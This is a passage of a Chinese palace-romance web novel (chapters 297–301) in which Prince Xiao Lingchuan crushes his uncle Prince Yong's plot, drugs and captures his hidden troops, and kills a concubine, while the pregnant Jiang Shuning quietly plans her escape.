“什么?”姜姝宁瞳孔猛地一缩,声音不由拔高,“崔侧妃,你为何要这样做?” “你怀上了景王的子嗣,我担心你从此多了一重牵绊,离开景王府会变得更加艰难。况且,有了孩子,景王定会更加紧抓着你不放……姜姑娘,我知晓自己这样做卑劣至极,可我实在不忍见你继续困于景王府之中,也不愿看着表哥日日痛苦不堪……” 崔芝兰语气中满是愧疚与挣扎,眼眶微微泛红。 “崔侧妃,这孩子是我的骨肉,既然我怀上了他,便决不能抛弃他,否则,对他就太不公平了。”姜姝宁神色坚定,目光清亮如水,“王爷如今知晓这孩子的存在,确实让我的离开变得更加棘手,但并非全无可能。我已想好对策,正准备与你商议此事。若你愿助我一臂之力,我便有九成把握,能带着孩子安然离开景王府!” 凌芜是萧凌川的心腹,她如今能倚靠的,唯有眼前的崔芝兰。 “当真?”崔芝兰猛地抬头,眼中闪过一丝惊讶,“你有何打算?” 姜姝宁微微倾身,附在她耳畔低语,将自己的计划细细道来。 “这……这时间未免太长了!”崔芝兰眉头紧蹙。 如此漫长的等待,表哥又该承受多少煎熬? “只要能离开此地,重获自由,久一些又有何妨?”姜姝宁抚摸着尚不显怀的小腹,脸上泛起一抹柔光,“为了他能平安降世,我愿意耐心等待。” 崔芝兰凝视她的眼神,从中看到了她对孩子深沉的爱意。 她的心头一震,愧疚与感动交织,最终化作一声无声的叹息。 对不起,表哥,我未能如你所愿,除去萧凌川的孩子。 不过,你放心,我定会竭尽全力,促成你与姜姑娘的姻缘! “好,那就依你!”崔芝兰道。 第297章 她对草药格外上心 第二百九十七章 她对草药格外上心 姜姝宁并未喝下萧怀瑾为她准备的落胎药,不过在红豆粥中掺杂红花的幕后黑手,显然另有其人。 这景王府内,盼着她腹中孩子殒命的人,远不止一个。 姜姝宁不愿冒险,便将此事告知萧凌川,萧凌川得知后勃然大怒。 不过半个时辰,便揪出了两个瑟瑟发抖的身影——赵若晚身边的李嬷嬷和婢女。 人证物证俱在,两人跪在地上,抖如筛糠,连求饶的话都说不完整。 萧凌川眼底杀意翻涌,声音冷得没有一丝温度:“拖下去,乱棍打死。” “王爷!”姜姝宁忽然开口,“王爷莫要伤人性命,就算是……给腹中的孩子积德了。” 自怀上身孕后,她便格外忌惮血腥之事,总觉得那股浓烈的气息会对腹中孩儿不利。 萧凌川胸中的暴戾与杀气,在触及她眼神的那一刻,竟奇迹般地被抚平了些许。 他盯着她看了半晌,最终冷哼一声:“既然王妃心慈,那便饶了这两条狗命。将她们遣回赵府!让赵家好好看看,他们养出来的是什么东西!” 话是这么说,可最终却将这两人遣送到雍王偏远而贫瘠的封地。 李嬷嬷和小婢女被扔下马车时,几乎以为自己到了阴曹地府。 她们连滚带爬地冲进雍王府,一见到那位不怒自威的王爷,便扑倒在地,哭天抢地。 雍王眉头紧蹙:“本王不是已经写信将景王的所作所为告知陛下了吗?怎么,陛下没有制止他?” “如今景王权倾朝野,一手遮天,陛下怕也是对他没办法啊!”李嬷嬷哭着道,“王爷您是不知道啊!门阀送去的四个侧妃,如今死的死,伤的伤,出家的出家,没一个有好下场!整个京城的门阀,没一个敢开口说句话!求王爷救救我们家主子吧!再晚就来不及了!” “岂有此理!”雍王一掌拍在案上,茶杯应声而碎,“萧凌川竟嚣张至此!” 他眼中翻涌起复杂的情绪,似乎想到了那些被尘封的、不堪的记忆。 “当年皇兄也是杀尽了手足才坐稳的皇位,没想到,他的皇子比他还要狠戾百倍!如今的皇帝如此无能,连一个亲王都压制不住,任由他作践功臣,残害忠良!本王又怎能袖手旁观?” 雍王站起身,在堂中来回踱步,最终停下,眼中迸发出决绝的光。 “本王这就前往京城,定要让萧凌川给赵家、给门阀一个交代!” 萧凌川安插在封地的耳目,很快便将此消息传到京城的景王府。 凌风站在书案前,神情肃穆地禀报:“王爷,雍王已动身,表面上是一人一骑轻装简行,实际上,他命令麾下三千精兵在京城三十里外的密林中埋伏,准备伺机而动。” 萧凌川抬起头,唇角缓缓勾起一抹阴鸷的冷笑,眼中没有丝毫意外,只有猎人看着猎物步入陷阱的快意。 “本王的这位皇叔,藏匿野心多年,如今,总算有了一个名正言顺夺权的由头。” “王爷,探子说这雍王是冲着您来的,我们应当如何是好?”凌风的语气里带着一丝担忧。 萧凌川将笔搁在笔洗上,慢条斯理地站起身,走到窗边,看着院中那棵枝繁叶茂的梧桐树。 他轻笑一声,语气森然:“自然是将此事原原本本地禀告给皇兄。让他亲眼看看,这位雍王皇叔,是如何对他的皇位虎视眈眈的。 再借他的口谕,将雍王和他的三千精兵,一并除掉。如此,本王往后,便可高枕无忧了!” 萧政贤想挑拨他与雍王的矛盾,坐山观虎斗,坐收渔翁之利。 他偏不遂他的意。 鹬蚌相争渔人得利这种手段,自然由他来做更得心应手些。 “王爷英明!” —— 景王府主院内,姜姝宁以百无聊赖为由,支使凌芜外出为她购置些小动物消遣。 凌芜兴致勃勃地准备出门,在走廊上迎面撞见正返回主院的萧凌川。 “这是要去哪儿?”萧凌川瞥了她一眼,语气淡漠地问。 “回禀王爷,王妃说她闲来无事,想养些小动物解闷,属下正准备去集市买一对兔子回来。”凌芜恭敬答道。 “兔子?”萧凌川眉梢微挑,声音中多了一丝莫名的冷意,“为何偏偏是兔子?” “从前宁王殿下曾送过一对白兔给王妃,王妃欢喜得很……”凌芜不假思索地脱口而出,话音未落,便察觉到萧凌川脸色陡然阴沉,意识到自己失言,忙不迭地闭紧了嘴。 “兔子有何稀奇?还不如本王的黑豹来得威风!”萧凌川冷哼一声,语气中透着几分不屑与醋意,“去,将本王的黑豹牵来,送去给王妃解闷!” 不多时,寝殿内便多了一只通体漆黑、目光锐利的黑猫。 姜姝宁凝视着眼前这只气势逼人的猫,嘴角微抽。 萧凌川见她反应平淡,眉头不由皱起,语气中带着几分不悦:“怎么,本王的黑豹还不足以给你解闷?非要那兔子不可?” “王爷,妾身若没记错,黑豹似乎带有毒性吧?”姜姝宁抬起眼,语气中透着一抹揶揄与担忧,“您当真要妾身日日与它嬉戏?若妾身一不小心被它抓伤,又该如何是好?” 听到这话,萧凌川神色一滞,面上闪过一抹不自然的僵硬。 “那也不许养兔子,尤其是什么白兔!”他冷声警告,眼神中多了一丝复杂的情绪,“谁知道你是不是借物思人,挂念着旁人!” 姜姝宁:“……” 她压下心头的情绪,耐着性子试探道:“那妾身养只小狗,总该可以吧?” 萧凌川沉默片刻,终是点了点头,朝凌芜吩咐道:“去集市给王妃买条小狗回来。另外,再购一群鸡养在院中。若是下了蛋,可给王妃补身子;若是不听使唤,便直接宰了喂黑豹!” “是,王爷……”凌芜低头应下,嘴角微抽。 心中暗自腹诽:王爷还真是闲,连王妃养小动物这种事也要干涉。 姜姝宁实在弄不明白萧凌川为何在养宠物这等小事上如此较真,索性不再争辩,随他安排。 没过多久,凌芜便带回一只毛色金黄的小狗崽和一群鹅黄色的小鸡仔。 小狗崽性子活泼,一见到姜姝宁便摇着尾巴,欢快地围着她打转,毫不认生。 姜姝宁心中欢喜,与凌芜一道为它清洗干净,便将它养在主院之中。 至于那群小鸡仔,则被放养在院子里。 它们在草地上蹦蹦跳跳,叽叽喳喳,倒也平添了几分生机,看得人赏心悦目。 然而,这份平静并未持续太久。 没几日,小狗崽便开始追逐起小鸡仔来,满院子闹腾得鸡飞狗跳,乱作一团。 让姜姝宁忍无可忍的是,那些小鸡仔竟将她辛辛苦苦种下的珍贵草药刨得七零八落,泥土四溅。 她只得命人将那群捣乱的小鸡仔尽数赶出院子。 可没过几日,萧凌川又命人送来一窝新的小鸡仔,继续放养在院中。 它们依旧肆无忌惮地啄食草药,刨得姜姝宁精心照料的药圃一片狼藉。 姜姝宁:“……” 她决定以其人之道还治其人之身。 她不仅命人在景王府的池塘中养了满池的鱼,还日日亲自下厨烹制鱼肉、熬煮鱼汤,浓郁的鱼腥味弥漫整个主院。 萧凌川被那股浓烈的鱼腥味扰得心神不宁,终是忍无可忍,只得妥协。 他与姜姝宁达成协议:院中从此不再养小鸡仔,池塘里也不再蓄养鱼群。 这场荒唐的闹剧,方才画上句号。 凌风在一旁看得云里雾里,忍不住低声询问:“王爷,您明知王妃重视那些草药,为何还要养小鸡仔去糟蹋她的药圃?” 向来稳重的王爷,竟在此事上格外幼稚,实在让人费解。 萧凌川神色阴沉:“本王就是不想让她整日为那些草药费尽心思!” 虽说这些草药曾拿给孙神医瞧过,并无任何异样,可他总觉得其中透着几分古怪。 姜姝宁对这些草药太过在意,甚至到了近(乎)执拗的地步,这让他心中隐隐生出一丝不安。 要知道,前世她对那些娇贵的牡丹都不曾如此上心,不过是些寻常草药罢了,何至于让她如此牵挂? 第298章 小鸡肚肠 第二百九十八章 小鸡肚肠 姜姝宁对凌芜挑选的这条金黄色小狗崽喜爱得紧,每日与它嬉戏、喂食、洗澡,乐在其中。 凌芜见她忙得不亦乐乎,忍不住劝道:“王妃,您如今怀着身孕,可得小心,别累着了!” “不过是养条小狗,哪会累着?”姜姝宁轻轻抚摸着微微隆起的小腹,嗔笑道,“若这点小事都累着了,日后还如何照料孩子?” 已是初秋,凉意渐浓。 她穿了一身杏色的秋衫,衣料厚实,恰到好处地遮掩了身形的变化。 然而,那份即将为人母的喜悦与柔情,却像是从骨子里透出来的光,将她整个人笼罩其中,温婉动人,驱散了这初秋的萧瑟。 凌芜看着她脸上流露出的母性光辉,心中一片柔软,感叹道:“王妃对这小狗如此疼爱,将来定能将小世子照顾得妥妥帖帖!” 小狗崽得了主子的宠爱,渐渐有些恃宠而骄。 一天晚上,它竟偷偷溜上姜姝宁的床,蜷在她身侧取暖。 萧凌川一见,脸色顿时阴沉下来,毫不客气地拎起小狗,径直扔到窗外。 小狗猝不及防,从温暖的卧房被丢到冰冷的庭院,气得冲着萧凌川“汪汪”直叫,似在抗议他的粗暴。 姜姝宁看着这一人一狗的幼稚争斗,有些无奈道:“王爷何必与一条小狗置气?” “卧榻之侧,岂容一条狗酣睡!”萧凌川净手后,嫌弃地抖了抖被褥,语气中透着几分不屑,“本王的床,它也配上来?” 姜姝宁闻言,低声嘀咕:“连条小狗都容不下,真是小肚鸡肠!” “你说什么?”萧凌川耳尖,捕捉到她的低语,眼中闪过一抹阴鸷。 他俯身靠近,在被窝里扣住她的脚踝,指尖带着几分暧昧地轻抚她的脚趾,“王妃仗着怀了身孕,就敢在背后编排本王?别以为本王拿你没办法。” 姜姝宁心头一跳,警觉地缩了缩脚,嗔道:“你想做什么?” “你我夫妻,同床共枕,天经地义。”萧凌川声音低哑,目光幽深,带着几分晦暗不明的情绪。 怀孕后,她身形渐显丰腴,添了几分柔媚的孕味,一举一动都轻易撩动他的心弦,让他难以自持。 他顾忌胎气,一直强自忍耐,如今好不容易熬过最危险的前三个月,他再也按捺不住心头的渴望,欲与她温存一番,纾解这段时日的煎熬。 姜姝宁察觉到他指尖沿着小腿缓缓上移,顿时心生不妙,急声道:“萧凌川,我还怀着孩子呢!” “王妃放心,”萧凌川低笑,嗓音中透着几分蛊惑,“本王自有分寸,定会……小心行事。” 姜姝宁咬紧下唇,忍耐他的撩拨和入侵,气恼地低声道:“王爷如此……重欲,不如再纳几位侧妃,免得总来扰我!” 此话一出,萧凌川眼中怒意骤起,声音冷冽:“王妃仗着身孕,屡屡口无遮拦,挑衅本王,看来是时候给你些教训了!” 姜姝宁浑身轻颤,难以抵挡他带来的一波又一波的热潮,心中暗自安慰自己:再忍耐数月,待腹中孩儿平安落地,她便能斩断这所有纠缠,换取真正的自由。 次日,凌芜返回主院,一眼便看见那只小狗崽趴在路中央,一动不动。 她起初以为它在酣睡,走近了才发觉不对劲——四周寂静无声,连它平日里轻微的呼吸起伏都消失了。 她心中一紧,俯身伸出手去,指尖触及小狗身体的瞬间,一股冰冷的僵硬感传来。 凌芜脸色骤变,急忙探向它的鼻息——气息全无。 这条活泼好动的小狗,竟然已经死了! 想到王妃对这小狗的喜爱,凌芜不敢耽搁,急忙将此事禀报给萧凌川。 “死了?”萧凌川听闻也是一怔,眉头微蹙,“好端端的,怎么会死?” “属下不知……王爷,此事千万不能让王妃知晓。她那么疼爱这小狗,若是知道了,定会伤心欲绝!” 萧凌川沉吟片刻,目光中闪过一丝复杂的情绪,随即沉声吩咐:“此事切莫声张,免得王妃难过。你先将它的尸身悄悄处理掉,再立刻去集市,寻一只一模一样的回来,别让王妃看出破绽。” “是,王爷!” 凌芜领命回到主院,却惊愕地发现,方才还躺在地上的小狗尸身竟不翼而飞! 她心下骇然,询问了院中几个下人,皆说未曾看见。 事态诡异,但王爷的吩咐要紧,她只得将满腹疑虑压下,匆匆赶往集市,精心挑选了一只毛色、大小都极为相似的小狗回来。 姜姝宁见到“新”的小狗,目光微微一凝,随即恢复了惯常的温和。 她伸出手,想像往常一样抚摸它的头。 那小狗却瑟缩了一下,喉咙里发出怯生生的呜咽。 凌芜心头一紧,连忙解释:“方才它不听话,奴婢略施薄惩,许是吓着了。” 姜姝宁闻言,只弯了弯唇角,笑而不语。 几日后,一个匪夷所思的场面让凌芜彻底呆住了——院子里竟然出现了两条一模一样的小狗! 一条是她新买回来的,胆小怕生;而另一条,正活蹦乱跳地追逐着落叶,那亲昵撒欢的模样,分明就是那只本应死去的“小黄”! 她惊得双眼圆睁,难道那日是自己看错了? 它只是……睡得太沉了? “既然小黄自己回来了,”姜姝宁的声音适时响起,带着一丝淡淡的笑意,“这只新的便送走吧,它性子太怯,不如小黄讨喜。” “是,王妃。”凌芜满心疑窦,最终只当是自己闹了乌龙,便未再向萧凌川提及此事。 她未曾留意,在她转身离去时,姜姝宁垂眸抚摸着小黄的头,唇边缓缓勾起一抹意味深长的、欣慰的笑容。 这往生草,果然有奇效。 —— 雍王一路快马加鞭,风尘仆仆,终于在日落时分抵达了京城。 他刚一入宫门,便被几名神情肃穆的御前侍卫“请”着,径直引向了御书房。 他丝毫没有半点紧张,毕竟,他早已修书一封,言明自己思念京城,欲回京小住。 作为皇帝唯一的皇叔,这点小小的要求,那个病弱的侄儿断没有拒绝的道理。 御书房内,暖香袅袅,夹杂着一丝若有似无的药味。 年轻的皇帝萧政贤正倚在龙椅的软垫上,脸色苍白,见他进来,便露出一副温和而热切的笑。 雍王上前行礼:“臣萧渊见过陛下,陛下万岁万岁万万岁!” “皇叔不必多礼,快请坐。”萧政贤的声音听上去有些中气不足,带着几分病态的虚弱,“朕听闻皇叔要回京,心中甚是欢喜,特意备下薄酒,为您接风洗尘。” 雍王不动声色地打量着眼前的天子。 太年轻,太孱弱,身旁的皇后据说至今未有身孕,后宫更是空虚。 他心中那丝轻蔑愈发浓重,嘴上却恭敬万分:“陛下龙体欠安,还为臣如此费心,臣惶恐之至。” 酒宴设在偏殿,菜肴精致。 席间,萧政贤言语亲切,嘘寒问暖,处处显露出对这位皇叔的依赖与敬重。 雍王看在眼里,心中冷笑。 这样的皇帝,不过是占着龙椅的傀儡罢了,待他联络好京中旧部,取而代之,不过是早晚之事。 他越想越是得意,杯中御酒也喝得愈发痛快。 …… 不知过了多久,一阵刺骨的寒意将雍王从昏沉中惊醒。 他猛地睁开眼,却发现自己身处的早已不是金碧辉煌的宫殿,而是一间阴冷潮湿、散发着霉味的地牢! 他身上的锦衣华服已沾满污泥,尊贵与傲慢瞬间被巨大的恐慌所吞噬。 “来人!来人!”他扑到牢门前,用力摇晃着冰冷的铁栏,“陛下!这是何意?臣犯了何罪!” 脚步声由远及近,停在了他的牢房外。 火光映照下,来人一身龙袍,身姿挺拔,面容冷峻,哪里还有半分病弱之态? 正是皇帝萧政贤。 他神色阴沉地俯视着狼狈不堪的雍王,眼神犹如在看一个死人。 雍王心头一颤,强撑着问道:“陛下……您这是……” 萧政贤声音冷得像地牢里的寒冰:“皇叔,你能否跟朕解释一下,为何在你回京的同时,京城郊外,会凭空多出三千整装待发的精兵?” 雍王如遭雷击,脸色瞬间惨白如纸! 他怎么会知道? 第299章 雍王野心败露 第二百九十九章 雍王野心败露 面对皇帝冰冷的质问,雍王心中的恐惧如惊涛骇浪,在瞬息之间强行平复。 “陛下!”他声色俱厉,仿佛受了天大的委屈,“您这是听信了何方小人的谗言?什么精兵?臣远在封地,心心念念的都是陛下的龙体与江山社稷,对此事一无所知啊! 臣此次回京,正是担忧那景王行事张狂,权势滔天,恐其有不臣之心,这才不远千里赶来,欲为陛下分忧!” “哦?”萧政贤闻言,嘴角勾起一抹似笑非笑的弧度,眼中却无半点暖意,“这么说,城外那三千精兵,当真与皇叔毫无干系?” “绝无干系!”雍王斩钉截铁地回答,心中却飞速盘算着,“臣怀疑是有人故意栽赃陷害,意图离间你我叔侄情分,还请陛下明察,还臣一个清白!” 萧政贤缓缓点头,语气听不出喜怒:“既然如此,朕这就下令,将城外那些人悉数收押,严加拷问,定要查出是何人胆敢在天子脚下私藏兵马,构陷皇室宗亲!在此期间,便要委屈皇叔在此地暂住几日,待真相大白,朕自会亲自将皇叔迎出地牢!” 听到这话,雍王悬着的心稍稍放下。 还好,他早有准备,那三千精兵早已换上寻常百姓的衣物,兵器也都妥善藏匿于城郊一处废弃的农宅之中。 萧政贤就算抓了人,没有真凭实据,也奈何他不得! 只是,他究竟是如何知道此事的? 这些年来,自己明明将野心隐藏得滴水不漏,即便是先帝驾崩,皇权交替之际,他也始终低调隐忍,未曾暴露半分。 这初登大宝的病弱侄儿,怎会有如此手段? 看着雍王眼中闪过的惊慌与侥幸,萧政贤心中冷笑不止。 他至今仍记得数日前,萧凌川深夜入宫,将雍王领三千精兵潜伏于京城外的消息告知他时,他心中的震惊与怀疑。 他下意识地以为,这是萧凌川的又一个计谋,想借自己的手,除掉雍王这个政敌。 然而,君王的本能让他不敢掉以轻心。 他当即密令自己最心腹的几名御前侍卫出城查探。 当侍卫们带回来的消息与萧凌川所言别无二致时,萧政贤只觉得一股刺骨的寒意从脚底直冲天灵盖。 侍卫回报,那些人虽身着布衣,但个个身形彪悍,目光锐利,行走坐卧间自有一股军人的肃杀之气。 更有人亲眼见到,他们趁着夜色,将一箱箱“货物”搬入农宅,箱子缝隙中,隐约可见兵刃的寒光! 这皇叔的野心,竟比萧凌川还要赤裸裸,直接将刀架在了自己的脖子上! 那一刻,萧政贤才真正意识到,自己这把龙椅坐得有多么岌岌可危。 宫中禁卫军数量有限,倘若雍王猝然发难,内外夹击,皇宫旦夕间便可能易主。 于是,他采纳了萧凌川的建议——将计就计,示敌以弱,用一场盛大的接风宴麻痹雍王,再用一杯下了猛药的御酒,将这头猛虎送进牢笼。 如今,虎已入笼,接下来,便是要如何处置城外那群蓄势待发的狼了。 此事,还需仰仗萧凌川带着兵马,先行将其缴械,才能彻底杜绝后患。 他宣萧凌川进宫,故作无奈地叹了口气:“四弟,朕只能拨给你八百禁军,实在是……心有余而力不足啊!宫中诸位太妃与太后皆需护卫,皇城安危,系于一线,朕……也是无奈之举。” 他这番话说得情真意切,仿佛真是个被内忧外患逼得捉襟见肘的孱弱君主。 其实心里巴不得萧凌川与雍王那三千精兵斗个两败俱伤,最好是死在城外。 这样,他便再也无后顾之忧了。 萧凌川神色平静无波,甚至带着一丝安抚的从容:“陛下言重了。宫闱重地,自然当以万全为上。区区乱臣贼子,八百精锐,足以荡平。” 他说完,不再多言,转身领命而去。 看着他离去的背影,萧政贤心中狐疑。 这萧凌川,当真不怕死? 城郊,官道旁的废弃村落里,三千精兵早已褪下戎装,换上粗布麻衣,有的扮作贩夫走卒,有的伪装成正在修缮屋舍的农人。 然而,他们身上那股久经沙场的肃杀之气,却如何也掩盖不住。 萧凌川率着八百禁军策马而至,扬声道:“边关战事吃紧,急需征召兵员,拱卫疆土。凡此地青壮男子,一律征召入伍,即刻收拾行装,随本王入营操练!” 为首的将领,一个满脸横肉的壮汉,见萧凌川人马稀少,眼中闪过一丝轻蔑,主动上前一步,粗声粗气地叫嚣道:“光天化日,天子脚下,王爷要在此处强征民夫吗?我等皆是良善百姓,景王殿下莫不是觉得我们好欺负?” 萧凌川端坐于马上,居高临下地看着他,嘴角勾起一抹玩味的冷笑。 他并不答话,只是从怀中取出一卷明黄色的圣旨,手腕一抖,圣旨应声展开,上面鲜红的玉玺印章在日光下格外刺目。 “本王奉陛下圣谕,征召尔等入伍,戍卫边疆。怎么,你们是想抗旨不遵么?”他的声音不大,却字字清晰,带着一股不容置喙的威压。 那领头之人脸色骤变! 他瞬间明白,雍王的图谋已经败露,他们早已是瓮中之鳖! 事已至此,唯有鱼死网破! 他眼中凶光毕露,猛地拔出藏在腰间的佩刀,振臂高呼:“弟兄们,事已至此,不必再装了!他只有区区数百人,我们有三千兄弟,何惧之有!拿下景王,攻破皇城,拥立雍王为帝!” “杀——!”三千精兵瞬间撕下伪装,齐声怒吼,从各处亮出兵刃,杀气冲天。 眼看一场恶战一触即发,萧凌川身后的禁军们个个神情紧绷,手心冒汗。 以八百对三千,这无异于以卵击石。 然而,下一刻,令人瞠目结舌的一幕发生了。 那群刚刚还气势汹汹的精兵,冲在最前面的几人忽然双腿一软,惨叫着扑倒在地。 紧接着,就如同被割倒的麦子一般,成片成片的士兵瘫软下去,他们惊恐地发现,自己的四肢百骸使不出一丝力气。 “怎么回事?我的腿……我的腿动不了了!” 恐慌的哀嚎声取代了震天的喊杀声。 萧凌川依旧稳坐马上,脸上的冷笑愈发森然。 他早在得知这三千精兵潜伏于此的第一时间,便命人将足量的软筋散分批投入他们饮水的几口井与溪流之中。 算算时日,药效层层累积,恰好在今日彻底发作。 他带来的八百禁军,从最初的惊愕到恍然大悟,再到对自家王爷神机妙算的无尽崇敬,不过是短短一瞬间。 他们不费吹灰之力,便将这三千名手脚瘫软、斗志全无的精兵尽数擒获。 皇城天牢从未如此“热闹”过。 三千人被尽数押解至此,牢房拥挤不堪,他们只能像被捆扎的货物一样,摩肩接踵地站着,身上缠绕着冰冷的铁链。 凌风看着这番景象,压低声音问道:“王爷,这些人……要如何处置?全部杀了?” “杀了?”萧凌川冷嗤一声,眼中闪过一丝商人的精明与残忍,“凌风,这可是三千个上好的劳力,杀了岂不是太可惜了?” 他顿了顿,目光望向西边,语气轻描淡写,却透着彻骨的寒意,“萧怀瑾不是说,西榆有金矿么?本王正好缺些挖矿的人手。将他们悉数送去,也算是……物尽其用了。” 第300章 他不如狗 第三百章 他不如狗 “王爷,宁王殿下始终未曾吐露金矿的具体位置,我们如何着手?”凌风低声请示。 萧凌川唇角勾起一抹森然的弧度,眼中是运筹帷幄的冷酷:“三千个活人,送去西榆与西洲的交界地,让他们不眠不休地一寸寸找。本王不信,这样还找不到金矿的下落。” 凌风恍然大悟:“王爷英明!” 只要人手足够,藏得再深的东西,也有被找到的一天。 刑部大牢的酷刑,足以碾碎最坚硬的骨头。 不出三日,那名被俘的将领便将雍王联络旧部、意图逼宫的阴谋,连同所有党羽名单,和盘托出。 血色的供状连夜呈上御前。 圣旨随即便下,一道抄没,一道满门抄斩。 雍王封地的黎明被禁军的铁蹄踏碎,雍王府与赵家,一夜之间沦为人间炼狱。 高门倾颓,血染朱漆,无一幸免。 是夜,王府地牢阴冷潮湿。 萧凌川提着一盏孤灯,缓步走入,昏黄的光晕照亮了蜷缩在角落里的赵若晚。 她发髻散乱,华服蒙尘,早已没了往日的娇蛮。 他将一匹白绫扔在她脚边,声音不带一丝温度:“雍王谋逆,赵家满门已赴黄泉。本王给你个体面,自己上路吧。” 赵若晚浑身剧震,疯了似的爬过来,死死抓住他的衣角,惊恐地尖叫:“王爷,按大邺律法,外嫁之女罪不祸及!妾身不想死,求王爷开恩!” “开恩?”萧凌川冷漠地拂开她的手,居高临下地看着她,“在你对王妃腹中孩儿动了杀念的那一刻,你就该知道自己没有活路了。留你至今,不过是钓出雍王的鱼饵。如今,你毫无用处了。” 他给了凌风一个眼色,凌风的佩刀“呛啷”出鞘半寸。 死亡的威胁让赵若晚彻底崩溃,她撕心裂肺地喊道:“王爷为何要如此护着那个贱人!她与宁王私奔,人尽皆知,腹中孽种究竟是谁的还未可知!妾身是在为您不平啊!您……” 话音未落,一道寒光闪过。 萧凌川亲自拔剑,快得只剩一道残影,精准地划开了她的喉咙。 赵若晚的话戛然而止,她瞪大了双眼,难以置信地倒在血泊中。 “找死。”他收剑入鞘,神色阴沉如水,仿佛刚刚只是碾死了一只聒噪的蝼蚁,“凌风,处理干净,扔去乱葬岗,莫要惊扰了王妃。” “是,王爷。” 与此同时,卧房内的姜姝宁从一场混乱的噩梦中惊醒,心悸不已。 她听见被拴在院中的小狗正发出阵阵急促又不安的低吠。 她披衣起身,推开房门,正想去安抚受惊的小狗,却猛地撞上了一道伫立在廊下的黑影。 “这么晚了,还不睡?”萧凌川的声音响起,带着一丝不悦。 借着廊下微弱的灯笼光,姜姝宁看见了他。 也就在那一瞬间,她敏锐地嗅到了一丝极淡的、铁锈般的血腥气,自他身上传来。 他是受伤了,还是……杀了人? 她不由心头一紧。 “听见小黄在叫,怕它冷,想带它进屋。”她不动声色地回答。 “一条畜生,也值得你这般上心?”萧凌川的语气里透着一丝不易察觉的酸味,“怎么不见你如此关心本王?” 姜姝宁眼角微抽,反问道:“王爷怎么这么晚才回来?” “雍王谋逆,帮陛下处理了些手尾。”他轻描淡写地说道。 姜姝宁眉心一跳。 前世明明安分守己、只给瑞王当助力的雍王,这一世竟会谋逆,看来少不了萧凌川的推波助澜。 为了他那条至尊之路,他正冷酷地一一清除所有的绊脚石。 她正出神,萧凌川已上前一步,抬手想抚摸她的脸。 随着他的靠近,那股血腥味陡然变浓,霸道地钻入鼻腔。 姜姝宁胃里一阵翻江倒海,没能忍住,侧过头干呕了一下。 萧凌川的手僵在半空,瞬间明白了什么。 他看了一眼自己沾染了无形煞气的双手,默默后退一步,拉开了距离。 “……本王先去沐浴。夜深露重,你快回屋。”他的声音,竟带上了一丝狼狈。 萧凌川沐浴完毕,带着一身微湿的水汽回到卧房时,看到的便是这样一幅画面。 屋内地龙烧得暖意融融,姜姝宁正坐在铺着厚毯的地衣上,温柔地给那只小黄狗掖好褥子的一角。 小家伙睡得正香,喉咙里发出满足的咕噜声。 而她脸上那份恬静安然的神情,是他许久未曾见过的。 他不禁想起前世。 无论他多晚归来,总有一盏夜灯为他而留;无论冬日多寒,被窝里总有她提前暖好的汤婆子。 那份无言的等待,曾是他习以为常的温暖。 可如今,这份温暖,她竟悉数给了一只狗。 前世种种,竟如一场遥远而模糊的幻梦。 巨大的失落与嫉妒啃噬着他的心,让他周身的寒气几乎要压过室内的暖意。 他无声地上前,高大的身影将她与小狗笼罩在一片阴影之下。 姜姝宁有所察觉,抬起头,眼中的温柔瞬间褪去,化作一片疏离的平静。 下一刻,萧凌川不由分说地弯腰,将她打横抱起,大步走向床榻。 他将她塞进柔软的锦被里,欺身而上,将她困于自己与床榻之间。 “你对一条狗,竟比对本王还好?”他低头看着她,声音压抑,带着连他自己都未察觉的委屈与酸涩。 姜姝宁在心中冷笑:是啊,因为狗不会算计我,更不会将我囚禁于此。 但她嘴上却扬起一抹极淡的、挑衅的弧度,迎上他幽深的目光,轻声反问:“王爷金尊玉贵,为何要跟一条小狗相提并论?它会摇着尾巴迎我,开心了便汪汪叫。王爷……会吗?” 那双清亮的眸子里,明晃晃地写着“你不如狗”。 “不会。”萧凌川的目光落在她一张一合的殷红唇瓣上,眸色骤然变得晦暗而危险。 他俯身,气息灼热地喷洒在她耳畔,声音喑哑如砂纸磨过,“但本王……有的是法子讨王妃‘欢心’。” 话音未落,一个带着惩罚与掠夺意味的吻便狠狠地落了下来,堵住了她所有未尽的嘲讽。 这一夜,注定在无声的抗拒与强势的掠夺中沉沦。 翌日清晨,姜姝宁在一片酸软中醒来。 当她看到自己雪白的肌肤上,遍布着青紫交错的暧昧痕迹时,气得浑身发抖。 她攥紧了被角,咬牙切齿地低声咒骂:“萧凌川……你简直是属狗的!” 第301章 金矿唾手可得 第三百零一章 金矿唾手可得 很快,京城的地牢便空了一半。 那些曾效忠于雍王的精兵,在一夜之间,从阶下囚变成了流放犯。 一队队枷锁加身的士兵被押解出城,队伍绵延,朝着西榆的方向,消失在漫天黄沙中。 凌风亲自带队,名为押解,实为看管,务必将这些人牢牢钉死在那片贫瘠的土地上。 宫里的萧政贤对此乐见其成。 雍王这个心腹大患一除,他便觉龙椅稳固了不少。 至于那几千精兵的去向,是死是活,是流放还是坑杀,他根本懒得追问。 光阴荏苒,京城的冬雪融了又积,姜姝宁腹中的胎儿已满八个月。 她的身子愈发沉重,行动间总带着几分迟缓,可那张脸却依旧清减,唯有眸光,在无人察觉时,沉淀出一种近(乎)冷酷的静。 这日,大理寺传来一个消息,在京中掀起了一阵不大不小的波澜——瑞王萧修湛,死了。 官方的说法是,前些时日被牢里的毒虫蛇蚁咬了,伤口溃烂,没熬过去,感染而死。 可私下里传出的风声却阴森得多,说他死状极惨,浑身肿胀流脓,面目全非,根本辨不出人形,临死前哀嚎了整整一夜,声音凄厉得像是地府爬出的恶鬼。 兄长的大仇得报,姜姝宁听到消息时,只是平静地抚着自己高高隆起的腹部,感受着腹中胎儿有力的胎动,唇角勾起一丝若有似无的冷意。 瑞王一死,曾经煊赫一时的王家,就像一棵被抽去主干的大树,轰然倒塌,只剩下簌簌发抖的枝叶。 不出三日,镇国将军王德山亲自登了景王府的门。 他穿着素色常服,曾经挺得笔直的脊梁如今佝偻着,一见到萧凌川,便双膝一软,重重跪了下去。 “王爷!”王德山老泪纵横,声音嘶哑,“求王爷发兵西征,救救老臣的长子吧!” 萧凌川坐在主位上,面无表情地看着他,并未叫起。 “瑞王殿下……已经薨了,我们王家,我们王家再无依靠了!”王德山匍匐在地,额头抵着冰凉的地砖,“老臣愿将半枚虎符奉上,并将王家在西榆的所有私兵悉数交由王爷调遣,只求王爷……求王爷成全!” 话音未落,他颤抖着从怀中摸索出半截通体泛着冷光的白金虎符,高高举过头顶。 那半截虎符,在厅堂的光线下,折射出诱人的光芒。 